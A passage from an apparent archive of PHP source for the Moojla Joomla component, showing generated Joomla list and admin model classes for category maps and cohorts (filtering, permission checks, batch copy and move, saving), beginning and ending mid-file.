JPATH_ADMINISTRATOR.'/components/com_moojla/tables/user_fields_map.php');
$ufsmModel = new MoojlaModelUser_fields_map;
$mappings = $ufsmModel->getItems();
foreach($mappings as $map)
{
$ufmModel = new MoojlaModelUser_field_map;
$pk = array($map->id);
$ufmModel->publish($pk, -2);
$ufmModel->delete($pk);
}
if($ads == 'cb')
{
$firstnameMapArray = array(
'juserfields' => 'cb_firstname',
'muserfields' => 'sm_firstname'
);
$lastnameMapArray = array(
'juserfields' => 'cb_lastname',
'muserfields' => 'sm_lastname'
);
$ufmModel = new MoojlaModelUser_field_map;
$ufmModel->save($firstnameMapArray);
$ufmModel = new MoojlaModelUser_field_map;
$ufmModel->save($lastnameMapArray);
}
$emailMapArray = array(
'juserfields' => 'sj_email',
'muserfields' => 'sm_email'
);
$ufmModel = new MoojlaModelUser_field_map;
$ufmModel->save($emailMapArray);
return array();
}
/***[/JCBGUI$$$$]***/
}
models/categories_map.php000064400000016201151165724400011527
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage categories_map.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
use Joomla\Utilities\ArrayHelper;
/**
* Categories_map Model
*/
class MoojlaModelCategories_map extends JModelList
{
public function __construct($config = array())
{
if (empty($config['filter_fields']))
{
$config['filter_fields'] = array(
'a.id','id',
'a.published','published',
'a.ordering','ordering',
'a.created_by','created_by',
'a.modified_by','modified_by',
'a.jcatid','jcatid',
'a.mcatid','mcatid'
);
}
parent::__construct($config);
}
/**
* Method to auto-populate the model state.
*
* Note. Calling getState in this method will result in recursion.
*
* @param string $ordering An optional ordering field.
* @param string $direction An optional direction (asc|desc).
*
* @return void
*
*/
protected function populateState($ordering = null, $direction = null)
{
$app = JFactory::getApplication();
// Adjust the context to support modal layouts.
if ($layout = $app->input->get('layout'))
{
$this->context .= '.' . $layout;
}
// Check if the form was submitted
$formSubmited =
$app->input->post->get('form_submited');
$access = $this->getUserStateFromRequest($this->context .
'.filter.access', 'filter_access', 0, 'int');
if ($formSubmited)
{
$access = $app->input->post->get('access');
$this->setState('filter.access', $access);
}
$published = $this->getUserStateFromRequest($this->context .
'.filter.published', 'filter_published', '');
$this->setState('filter.published', $published);
$created_by = $this->getUserStateFromRequest($this->context .
'.filter.created_by', 'filter_created_by',
'');
$this->setState('filter.created_by', $created_by);
$created = $this->getUserStateFromRequest($this->context .
'.filter.created', 'filter_created');
$this->setState('filter.created', $created);
$sorting = $this->getUserStateFromRequest($this->context .
'.filter.sorting', 'filter_sorting', 0,
'int');
$this->setState('filter.sorting', $sorting);
$search = $this->getUserStateFromRequest($this->context .
'.filter.search', 'filter_search');
$this->setState('filter.search', $search);
$jcatid = $this->getUserStateFromRequest($this->context .
'.filter.jcatid', 'filter_jcatid');
if ($formSubmited)
{
$jcatid = $app->input->post->get('jcatid');
$this->setState('filter.jcatid', $jcatid);
}
$mcatid = $this->getUserStateFromRequest($this->context .
'.filter.mcatid', 'filter_mcatid');
if ($formSubmited)
{
$mcatid = $app->input->post->get('mcatid');
$this->setState('filter.mcatid', $mcatid);
}
// List state information.
parent::populateState($ordering, $direction);
}
/**
* Method to get an array of data items.
*
* @return mixed An array of data items on success, false on failure.
*/
public function getItems()
{
// check in items
$this->checkInNow();
// load parent items
$items = parent::getItems();
// return items
return $items;
}
/**
* Method to build an SQL query to load the list data.
*
* @return string An SQL query
*/
protected function getListQuery()
{
// Get the user object.
$user = JFactory::getUser();
// Create a new query object.
$db = JFactory::getDBO();
$query = $db->getQuery(true);
// Select some fields
$query->select('a.*');
// From the moojla_item table
$query->from($db->quoteName('#__moojla_category_map',
'a'));
// Filter by published state
$published = $this->getState('filter.published');
if (is_numeric($published))
{
$query->where('a.published = ' . (int) $published);
}
elseif ($published === '')
{
$query->where('(a.published = 0 OR a.published = 1)');
}
// Filter by search.
$search = $this->getState('filter.search');
if (!empty($search))
{
if (stripos($search, 'id:') === 0)
{
$query->where('a.id = ' . (int) substr($search, 3));
}
else
{
$search = $db->quote('%' . $db->escape($search) .
'%');
$query->where('(a.jcatid LIKE '.$search.' OR a.mcatid
LIKE '.$search.')');
}
}
// Add the list ordering clause.
$orderCol = $this->state->get('list.ordering',
'a.id');
$orderDirn = $this->state->get('list.direction',
'desc');
if ($orderCol != '')
{
$query->order($db->escape($orderCol . ' ' .
$orderDirn));
}
return $query;
}
/**
* Method to get a store id based on model configuration state.
*
* @return string A store id.
*
*/
protected function getStoreId($id = '')
{
// Compile the store id.
$id .= ':' . $this->getState('filter.id');
$id .= ':' . $this->getState('filter.search');
$id .= ':' . $this->getState('filter.published');
$id .= ':' . $this->getState('filter.ordering');
$id .= ':' . $this->getState('filter.created_by');
$id .= ':' .
$this->getState('filter.modified_by');
$id .= ':' . $this->getState('filter.jcatid');
$id .= ':' . $this->getState('filter.mcatid');
return parent::getStoreId($id);
}
/**
* Build an SQL query to checkin all items left checked out longer then a
set time.
*
* @return a bool
*
*/
protected function checkInNow()
{
// Get set check in time
$time =
JComponentHelper::getParams('com_moojla')->get('check_in');
if ($time)
{
// Get a db connection.
$db = JFactory::getDbo();
// reset query
$query = $db->getQuery(true);
$query->select('*');
$query->from($db->quoteName('#__moojla_category_map'));
$db->setQuery($query);
$db->execute();
if ($db->getNumRows())
{
// Get Yesterdays date
$date = JFactory::getDate()->modify($time)->toSql();
// reset query
$query = $db->getQuery(true);
// Fields to update.
$fields = array(
$db->quoteName('checked_out_time') .
'=\'0000-00-00 00:00:00\'',
$db->quoteName('checked_out') . '=0'
);
// Conditions for which records should be updated.
$conditions = array(
$db->quoteName('checked_out') . '!=0',
$db->quoteName('checked_out_time') .
'<\''.$date.'\''
);
// Check table
$query->update($db->quoteName('#__moojla_category_map'))->set($fields)->where($conditions);
$db->setQuery($query);
$db->execute();
}
}
return false;
}
}
models/category_map.php000064400000051172151165724400011225
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage category_map.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
use Joomla\Registry\Registry;
use Joomla\String\StringHelper;
use Joomla\Utilities\ArrayHelper;
/**
* Moojla Category_map Model
*/
class MoojlaModelCategory_map extends JModelAdmin
{
/**
* The tab layout fields array.
*
* @var array
*/
protected $tabLayoutFields = array(
'details' => array(
'left' => array(
'jcatid'
),
'right' => array(
'mcatid'
)
)
);
/**
* @var string The prefix to use with controller messages.
* @since 1.6
*/
protected $text_prefix = 'COM_MOOJLA';
/**
* The type alias for this content type.
*
* @var string
* @since 3.2
*/
public $typeAlias = 'com_moojla.category_map';
/**
* Returns a Table object, always creating it
*
* @param type $type The table type to instantiate
* @param string $prefix A prefix for the table class name. Optional.
* @param array $config Configuration array for model. Optional.
*
* @return JTable A database object
*
* @since 1.6
*/
public function getTable($type = 'category_map', $prefix =
'MoojlaTable', $config = array())
{
// add table path for when model gets used from other component
$this->addTablePath(JPATH_ADMINISTRATOR .
'/components/com_moojla/tables');
// get instance of the table
return JTable::getInstance($type, $prefix, $config);
}
/**
* Method to get a single record.
*
* @param integer $pk The id of the primary key.
*
* @return mixed Object on success, false on failure.
*
* @since 1.6
*/
public function getItem($pk = null)
{
if ($item = parent::getItem($pk))
{
if (!empty($item->params) && !is_array($item->params))
{
// Convert the params field to an array.
$registry = new Registry;
$registry->loadString($item->params);
$item->params = $registry->toArray();
}
if (!empty($item->metadata))
{
// Convert the metadata field to an array.
$registry = new Registry;
$registry->loadString($item->metadata);
$item->metadata = $registry->toArray();
}
}
return $item;
}
/**
* Method to get the record form.
*
* @param array $data Data for the form.
* @param boolean $loadData True if the form is to load its own data
(default case), false if not.
* @param array $options Optional array of options for the form
creation.
*
* @return mixed A JForm object on success, false on failure
*
* @since 1.6
*/
public function getForm($data = array(), $loadData = true, $options =
array('control' => 'jform'))
{
// set load data option
$options['load_data'] = $loadData;
// check if xpath was set in options
$xpath = false;
if (isset($options['xpath']))
{
$xpath = $options['xpath'];
unset($options['xpath']);
}
// check if clear form was set in options
$clear = false;
if (isset($options['clear']))
{
$clear = $options['clear'];
unset($options['clear']);
}
// Get the form.
$form = $this->loadForm('com_moojla.category_map',
'category_map', $options, $clear, $xpath);
if (empty($form))
{
return false;
}
$jinput = JFactory::getApplication()->input;
// The front end calls this model and uses a_id to avoid id clashes so we
need to check for that first.
if ($jinput->get('a_id'))
{
$id = $jinput->get('a_id', 0, 'INT');
}
// The back end uses id so we use that the rest of the time and set it to
0 by default.
else
{
$id = $jinput->get('id', 0, 'INT');
}
$user = JFactory::getUser();
// Check for existing item.
// Modify the form based on Edit State access controls.
if ($id != 0 &&
(!$user->authorise('core.edit.state',
'com_moojla.category_map.' . (int) $id))
|| ($id == 0 &&
!$user->authorise('core.edit.state', 'com_moojla')))
{
// Disable fields for display.
$form->setFieldAttribute('ordering', 'disabled',
'true');
$form->setFieldAttribute('published', 'disabled',
'true');
// Disable fields while saving.
$form->setFieldAttribute('ordering', 'filter',
'unset');
$form->setFieldAttribute('published', 'filter',
'unset');
}
// If this is a new item insure the greated by is set.
if (0 == $id)
{
// Set the created_by to this user
$form->setValue('created_by', null, $user->id);
}
// Modify the form based on Edit Creaded By access controls.
if (!$user->authorise('core.edit.created_by',
'com_moojla'))
{
// Disable fields for display.
$form->setFieldAttribute('created_by',
'disabled', 'true');
// Disable fields for display.
$form->setFieldAttribute('created_by',
'readonly', 'true');
// Disable fields while saving.
$form->setFieldAttribute('created_by', 'filter',
'unset');
}
// Modify the form based on Edit Creaded Date access controls.
if (!$user->authorise('core.edit.created',
'com_moojla'))
{
// Disable fields for display.
$form->setFieldAttribute('created', 'disabled',
'true');
// Disable fields while saving.
$form->setFieldAttribute('created', 'filter',
'unset');
}
// Only load these values if no id is found
if (0 == $id)
{
// Set redirected view name
$redirectedView = $jinput->get('ref', null,
'STRING');
// Set field name (or fall back to view name)
$redirectedField = $jinput->get('field', $redirectedView,
'STRING');
// Set redirected view id
$redirectedId = $jinput->get('refid', 0, 'INT');
// Set field id (or fall back to redirected view id)
$redirectedValue = $jinput->get('field_id', $redirectedId,
'INT');
if (0 != $redirectedValue && $redirectedField)
{
// Now set the local-redirected field default value
$form->setValue($redirectedField, null, $redirectedValue);
}
}
return $form;
}
/**
* Method to get the script that have to be included on the form
*
* @return string script files
*/
public function getScript()
{
return 'media/com_moojla/js/category_map.js';
}
/**
* Method to test whether a record can be deleted.
*
* @param object $record A record object.
*
* @return boolean True if allowed to delete the record. Defaults to the
permission set in the component.
*
* @since 1.6
*/
protected function canDelete($record)
{
if (!empty($record->id))
{
if ($record->published != -2)
{
return;
}
$user = JFactory::getUser();
// The record has been set. Check the record permissions.
return $user->authorise('core.delete',
'com_moojla.category_map.' . (int) $record->id);
}
return false;
}
/**
* Method to test whether a record can have its state edited.
*
* @param object $record A record object.
*
* @return boolean True if allowed to change the state of the record.
Defaults to the permission set in the component.
*
* @since 1.6
*/
protected function canEditState($record)
{
$user = JFactory::getUser();
$recordId = (!empty($record->id)) ? $record->id : 0;
if ($recordId)
{
// The record has been set. Check the record permissions.
$permission = $user->authorise('core.edit.state',
'com_moojla.category_map.' . (int) $recordId);
if (!$permission && !is_null($permission))
{
return false;
}
}
// In the absense of better information, revert to the component
permissions.
return parent::canEditState($record);
}
/**
* Method override to check if you can edit an existing record.
*
* @param array $data An array of input data.
* @param string $key The name of the key for the primary key.
*
* @return boolean
* @since 2.5
*/
protected function allowEdit($data = array(), $key = 'id')
{
// Check specific edit permission then general edit permission.
return JFactory::getUser()->authorise('core.edit',
'com_moojla.category_map.'. ((int) isset($data[$key]) ?
$data[$key] : 0)) or parent::allowEdit($data, $key);
}
/**
* Prepare and sanitise the table data prior to saving.
*
* @param JTable $table A JTable object.
*
* @return void
*
* @since 1.6
*/
protected function prepareTable($table)
{
$date = JFactory::getDate();
$user = JFactory::getUser();
if (isset($table->name))
{
$table->name = htmlspecialchars_decode($table->name, ENT_QUOTES);
}
if (isset($table->alias) && empty($table->alias))
{
$table->generateAlias();
}
if (empty($table->id))
{
$table->created = $date->toSql();
// set the user
if ($table->created_by == 0 || empty($table->created_by))
{
$table->created_by = $user->id;
}
// Set ordering to the last item if not set
if (empty($table->ordering))
{
$db = JFactory::getDbo();
$query = $db->getQuery(true)
->select('MAX(ordering)')
->from($db->quoteName('#__moojla_category_map'));
$db->setQuery($query);
$max = $db->loadResult();
$table->ordering = $max + 1;
}
}
else
{
$table->modified = $date->toSql();
$table->modified_by = $user->id;
}
if (!empty($table->id))
{
// Increment the items version number.
$table->version++;
}
}
/**
* Method to get the data that should be injected in the form.
*
* @return mixed The data for the form.
*
* @since 1.6
*/
protected function loadFormData()
{
// Check the session for previously entered form data.
$data =
JFactory::getApplication()->getUserState('com_moojla.edit.category_map.data',
array());
if (empty($data))
{
$data = $this->getItem();
// run the perprocess of the data
$this->preprocessData('com_moojla.category_map', $data);
}
return $data;
}
/**
* Method to get the unique fields of this table.
*
* @return mixed An array of field names, boolean false if none is set.
*
* @since 3.0
*/
protected function getUniqueFields()
{
return false;
}
/**
* Method to delete one or more records.
*
* @param array &$pks An array of record primary keys.
*
* @return boolean True if successful, false if an error occurs.
*
* @since 12.2
*/
public function delete(&$pks)
{
if (!parent::delete($pks))
{
return false;
}
return true;
}
/**
* Method to change the published state of one or more records.
*
* @param array &$pks A list of the primary keys to change.
* @param integer $value The value of the published state.
*
* @return boolean True on success.
*
* @since 12.2
*/
public function publish(&$pks, $value = 1)
{
if (!parent::publish($pks, $value))
{
return false;
}
return true;
}
/**
* Method to perform batch operations on an item or a set of items.
*
* @param array $commands An array of commands to perform.
* @param array $pks An array of item ids.
* @param array $contexts An array of item contexts.
*
* @return boolean Returns true on success, false on failure.
*
* @since 12.2
*/
public function batch($commands, $pks, $contexts)
{
// Sanitize ids.
$pks = array_unique($pks);
ArrayHelper::toInteger($pks);
// Remove any values of zero.
if (array_search(0, $pks, true))
{
unset($pks[array_search(0, $pks, true)]);
}
if (empty($pks))
{
$this->setError(JText::_('JGLOBAL_NO_ITEM_SELECTED'));
return false;
}
$done = false;
// Set some needed variables.
$this->user = JFactory::getUser();
$this->table = $this->getTable();
$this->tableClassName = get_class($this->table);
$this->contentType = new JUcmType;
$this->type =
$this->contentType->getTypeByTable($this->tableClassName);
$this->canDo = MoojlaHelper::getActions('category_map');
$this->batchSet = true;
if (!$this->canDo->get('core.batch'))
{
$this->setError(JText::_('JLIB_APPLICATION_ERROR_INSUFFICIENT_BATCH_INFORMATION'));
return false;
}
if ($this->type == false)
{
$type = new JUcmType;
$this->type = $type->getTypeByAlias($this->typeAlias);
}
$this->tagsObserver =
$this->table->getObserverOfClass('JTableObserverTags');
if (!empty($commands['move_copy']))
{
$cmd = ArrayHelper::getValue($commands, 'move_copy',
'c');
if ($cmd == 'c')
{
$result = $this->batchCopy($commands, $pks, $contexts);
if (is_array($result))
{
foreach ($result as $old => $new)
{
$contexts[$new] = $contexts[$old];
}
$pks = array_values($result);
}
else
{
return false;
}
}
elseif ($cmd == 'm' && !$this->batchMove($commands,
$pks, $contexts))
{
return false;
}
$done = true;
}
if (!$done)
{
$this->setError(JText::_('JLIB_APPLICATION_ERROR_INSUFFICIENT_BATCH_INFORMATION'));
return false;
}
// Clear the cache
$this->cleanCache();
return true;
}
/**
* Batch copy items to a new category or current.
*
* @param integer $values The new values.
* @param array $pks An array of row IDs.
* @param array $contexts An array of item contexts.
*
* @return mixed An array of new IDs on success, boolean false on
failure.
*
* @since 12.2
*/
protected function batchCopy($values, $pks, $contexts)
{
if (empty($this->batchSet))
{
// Set some needed variables.
$this->user = JFactory::getUser();
$this->table = $this->getTable();
$this->tableClassName = get_class($this->table);
$this->canDo = MoojlaHelper::getActions('category_map');
}
if (!$this->canDo->get('core.create') ||
!$this->canDo->get('core.batch'))
{
return false;
}
// get list of unique fields
$uniqueFields = $this->getUniqueFields();
// remove move_copy from array
unset($values['move_copy']);
// make sure published is set
if (!isset($values['published']))
{
$values['published'] = 0;
}
elseif (isset($values['published']) &&
!$this->canDo->get('core.edit.state'))
{
$values['published'] = 0;
}
$newIds = array();
// Parent exists so let's proceed
while (!empty($pks))
{
// Pop the first ID off the stack
$pk = array_shift($pks);
$this->table->reset();
// only allow copy if user may edit this item.
if (!$this->user->authorise('core.edit',
$contexts[$pk]))
{
// Not fatal error
$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND',
$pk));
continue;
}
// Check that the row actually exists
if (!$this->table->load($pk))
{
if ($error = $this->table->getError())
{
// Fatal error
$this->setError($error);
return false;
}
else
{
// Not fatal error
$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND',
$pk));
continue;
}
}
// insert all set values
if (MoojlaHelper::checkArray($values))
{
foreach ($values as $key => $value)
{
if (strlen($value) > 0 && isset($this->table->$key))
{
$this->table->$key = $value;
}
}
}
// update all unique fields
if (MoojlaHelper::checkArray($uniqueFields))
{
foreach ($uniqueFields as $uniqueField)
{
$this->table->$uniqueField =
$this->generateUnique($uniqueField,$this->table->$uniqueField);
}
}
// Reset the ID because we are making a copy
$this->table->id = 0;
// TODO: Deal with ordering?
// $this->table->ordering = 1;
// Check the row.
if (!$this->table->check())
{
$this->setError($this->table->getError());
return false;
}
if (!empty($this->type))
{
$this->createTagsHelper($this->tagsObserver, $this->type, $pk,
$this->typeAlias, $this->table);
}
// Store the row.
if (!$this->table->store())
{
$this->setError($this->table->getError());
return false;
}
// Get the new item ID
$newId = $this->table->get('id');
// Add the new ID to the array
$newIds[$pk] = $newId;
}
// Clean the cache
$this->cleanCache();
return $newIds;
}
/**
* Batch move items to a new category
*
* @param integer $value The new category ID.
* @param array $pks An array of row IDs.
* @param array $contexts An array of item contexts.
*
* @return boolean True if successful, false otherwise and internal
error is set.
*
* @since 12.2
*/
protected function batchMove($values, $pks, $contexts)
{
if (empty($this->batchSet))
{
// Set some needed variables.
$this->user = JFactory::getUser();
$this->table = $this->getTable();
$this->tableClassName = get_class($this->table);
$this->canDo = MoojlaHelper::getActions('category_map');
}
if (!$this->canDo->get('core.edit') &&
!$this->canDo->get('core.batch'))
{
$this->setError(JText::_('JLIB_APPLICATION_ERROR_BATCH_CANNOT_EDIT'));
return false;
}
// make sure published only updates if user has the permission.
if (isset($values['published']) &&
!$this->canDo->get('core.edit.state'))
{
unset($values['published']);
}
// remove move_copy from array
unset($values['move_copy']);
// Parent exists so we proceed
foreach ($pks as $pk)
{
if (!$this->user->authorise('core.edit',
$contexts[$pk]))
{
$this->setError(JText::_('JLIB_APPLICATION_ERROR_BATCH_CANNOT_EDIT'));
return false;
}
// Check that the row actually exists
if (!$this->table->load($pk))
{
if ($error = $this->table->getError())
{
// Fatal error
$this->setError($error);
return false;
}
else
{
// Not fatal error
$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND',
$pk));
continue;
}
}
// insert all set values.
if (MoojlaHelper::checkArray($values))
{
foreach ($values as $key => $value)
{
// Do special action for access.
if ('access' === $key && strlen($value) > 0)
{
$this->table->$key = $value;
}
elseif (strlen($value) > 0 &&
isset($this->table->$key))
{
$this->table->$key = $value;
}
}
}
// Check the row.
if (!$this->table->check())
{
$this->setError($this->table->getError());
return false;
}
if (!empty($this->type))
{
$this->createTagsHelper($this->tagsObserver, $this->type, $pk,
$this->typeAlias, $this->table);
}
// Store the row.
if (!$this->table->store())
{
$this->setError($this->table->getError());
return false;
}
}
// Clean the cache
$this->cleanCache();
return true;
}
/**
* Method to save the form data.
*
* @param array $data The form data.
*
* @return boolean True on success.
*
* @since 1.6
*/
public function save($data)
{
$input = JFactory::getApplication()->input;
$filter = JFilterInput::getInstance();
// set the metadata to the Item Data
if (isset($data['metadata']) &&
isset($data['metadata']['author']))
{
$data['metadata']['author'] =
$filter->clean($data['metadata']['author'],
'TRIM');
$metadata = new JRegistry;
$metadata->loadArray($data['metadata']);
$data['metadata'] = (string) $metadata;
}
// Set the Params Items to data
if (isset($data['params']) &&
is_array($data['params']))
{
$params = new JRegistry;
$params->loadArray($data['params']);
$data['params'] = (string) $params;
}
// Alter the unique field for save as copy
if ($input->get('task') === 'save2copy')
{
// Automatic handling of other unique fields
$uniqueFields = $this->getUniqueFields();
if (MoojlaHelper::checkArray($uniqueFields))
{
foreach ($uniqueFields as $uniqueField)
{
$data[$uniqueField] =
$this->generateUnique($uniqueField,$data[$uniqueField]);
}
}
}
if (parent::save($data))
{
return true;
}
return false;
}
/**
* Method to generate a unique value.
*
* @param string $field name.
* @param string $value data.
*
* @return string New value.
*
* @since 3.0
*/
protected function generateUnique($field,$value)
{
// set field value unique
$table = $this->getTable();
while ($table->load(array($field => $value)))
{
$value = StringHelper::increment($value);
}
return $value;
}
}
models/cohort.php000064400000051025151165724400010046 0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage cohort.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
use Joomla\Registry\Registry;
use Joomla\String\StringHelper;
use Joomla\Utilities\ArrayHelper;
/**
* Moojla Cohort Model
*/
class MoojlaModelCohort extends JModelAdmin
{
/**
* The tab layout fields array.
*
* @var array
*/
protected $tabLayoutFields = array(
'details' => array(
'left' => array(
'mcohort'
),
'right' => array(
'course_group'
)
)
);
/**
* @var string The prefix to use with controller messages.
* @since 1.6
*/
protected $text_prefix = 'COM_MOOJLA';
/**
* The type alias for this content type.
*
* @var string
* @since 3.2
*/
public $typeAlias = 'com_moojla.cohort';
/**
* Returns a Table object, always creating it
*
* @param type $type The table type to instantiate
* @param string $prefix A prefix for the table class name. Optional.
* @param array $config Configuration array for model. Optional.
*
* @return JTable A database object
*
* @since 1.6
*/
public function getTable($type = 'cohort', $prefix =
'MoojlaTable', $config = array())
{
// add table path for when model gets used from other component
$this->addTablePath(JPATH_ADMINISTRATOR .
'/components/com_moojla/tables');
// get instance of the table
return JTable::getInstance($type, $prefix, $config);
}
/**
* Method to get a single record.
*
* @param integer $pk The id of the primary key.
*
* @return mixed Object on success, false on failure.
*
* @since 1.6
*/
public function getItem($pk = null)
{
if ($item = parent::getItem($pk))
{
if (!empty($item->params) && !is_array($item->params))
{
// Convert the params field to an array.
$registry = new Registry;
$registry->loadString($item->params);
$item->params = $registry->toArray();
}
if (!empty($item->metadata))
{
// Convert the metadata field to an array.
$registry = new Registry;
$registry->loadString($item->metadata);
$item->metadata = $registry->toArray();
}
}
return $item;
}
/**
* Method to get the record form.
*
* @param array $data Data for the form.
* @param boolean $loadData True if the form is to load its own data
(default case), false if not.
* @param array $options Optional array of options for the form
creation.
*
* @return mixed A JForm object on success, false on failure
*
* @since 1.6
*/
public function getForm($data = array(), $loadData = true, $options =
array('control' => 'jform'))
{
// set load data option
$options['load_data'] = $loadData;
// check if xpath was set in options
$xpath = false;
if (isset($options['xpath']))
{
$xpath = $options['xpath'];
unset($options['xpath']);
}
// check if clear form was set in options
$clear = false;
if (isset($options['clear']))
{
$clear = $options['clear'];
unset($options['clear']);
}
// Get the form.
$form = $this->loadForm('com_moojla.cohort',
'cohort', $options, $clear, $xpath);
if (empty($form))
{
return false;
}
$jinput = JFactory::getApplication()->input;
// The front end calls this model and uses a_id to avoid id clashes so we
need to check for that first.
if ($jinput->get('a_id'))
{
$id = $jinput->get('a_id', 0, 'INT');
}
// The back end uses id so we use that the rest of the time and set it to
0 by default.
else
{
$id = $jinput->get('id', 0, 'INT');
}
$user = JFactory::getUser();
// Check for existing item.
// Modify the form based on Edit State access controls.
if ($id != 0 &&
(!$user->authorise('core.edit.state',
'com_moojla.cohort.' . (int) $id))
|| ($id == 0 &&
!$user->authorise('core.edit.state', 'com_moojla')))
{
// Disable fields for display.
$form->setFieldAttribute('ordering', 'disabled',
'true');
$form->setFieldAttribute('published', 'disabled',
'true');
// Disable fields while saving.
$form->setFieldAttribute('ordering', 'filter',
'unset');
$form->setFieldAttribute('published', 'filter',
'unset');
}
// If this is a new item insure the greated by is set.
if (0 == $id)
{
// Set the created_by to this user
$form->setValue('created_by', null, $user->id);
}
// Modify the form based on Edit Creaded By access controls.
if (!$user->authorise('core.edit.created_by',
'com_moojla'))
{
// Disable fields for display.
$form->setFieldAttribute('created_by',
'disabled', 'true');
// Disable fields for display.
$form->setFieldAttribute('created_by',
'readonly', 'true');
// Disable fields while saving.
$form->setFieldAttribute('created_by', 'filter',
'unset');
}
// Modify the form based on Edit Creaded Date access controls.
if (!$user->authorise('core.edit.created',
'com_moojla'))
{
// Disable fields for display.
$form->setFieldAttribute('created', 'disabled',
'true');
// Disable fields while saving.
$form->setFieldAttribute('created', 'filter',
'unset');
}
// Only load these values if no id is found
if (0 == $id)
{
// Set redirected view name
$redirectedView = $jinput->get('ref', null,
'STRING');
// Set field name (or fall back to view name)
$redirectedField = $jinput->get('field', $redirectedView,
'STRING');
// Set redirected view id
$redirectedId = $jinput->get('refid', 0, 'INT');
// Set field id (or fall back to redirected view id)
$redirectedValue = $jinput->get('field_id', $redirectedId,
'INT');
if (0 != $redirectedValue && $redirectedField)
{
// Now set the local-redirected field default value
$form->setValue($redirectedField, null, $redirectedValue);
}
}
return $form;
}
/**
* Method to get the script that have to be included on the form
*
* @return string script files
*/
public function getScript()
{
return 'media/com_moojla/js/cohort.js';
}
/**
* Method to test whether a record can be deleted.
*
* @param object $record A record object.
*
* @return boolean True if allowed to delete the record. Defaults to the
permission set in the component.
*
* @since 1.6
*/
protected function canDelete($record)
{
if (!empty($record->id))
{
if ($record->published != -2)
{
return;
}
$user = JFactory::getUser();
// The record has been set. Check the record permissions.
return $user->authorise('core.delete',
'com_moojla.cohort.' . (int) $record->id);
}
return false;
}
/**
* Method to test whether a record can have its state edited.
*
* @param object $record A record object.
*
* @return boolean True if allowed to change the state of the record.
Defaults to the permission set in the component.
*
* @since 1.6
*/
protected function canEditState($record)
{
$user = JFactory::getUser();
$recordId = (!empty($record->id)) ? $record->id : 0;
if ($recordId)
{
// The record has been set. Check the record permissions.
$permission = $user->authorise('core.edit.state',
'com_moojla.cohort.' . (int) $recordId);
if (!$permission && !is_null($permission))
{
return false;
}
}
// In the absense of better information, revert to the component
permissions.
return parent::canEditState($record);
}
/**
* Method override to check if you can edit an existing record.
*
* @param array $data An array of input data.
* @param string $key The name of the key for the primary key.
*
* @return boolean
* @since 2.5
*/
protected function allowEdit($data = array(), $key = 'id')
{
// Check specific edit permission then general edit permission.
return JFactory::getUser()->authorise('core.edit',
'com_moojla.cohort.'. ((int) isset($data[$key]) ? $data[$key] :
0)) or parent::allowEdit($data, $key);
}
/**
* Prepare and sanitise the table data prior to saving.
*
* @param JTable $table A JTable object.
*
* @return void
*
* @since 1.6
*/
protected function prepareTable($table)
{
$date = JFactory::getDate();
$user = JFactory::getUser();
if (isset($table->name))
{
$table->name = htmlspecialchars_decode($table->name, ENT_QUOTES);
}
if (isset($table->alias) && empty($table->alias))
{
$table->generateAlias();
}
if (empty($table->id))
{
$table->created = $date->toSql();
// set the user
if ($table->created_by == 0 || empty($table->created_by))
{
$table->created_by = $user->id;
}
// Set ordering to the last item if not set
if (empty($table->ordering))
{
$db = JFactory::getDbo();
$query = $db->getQuery(true)
->select('MAX(ordering)')
->from($db->quoteName('#__moojla_cohort'));
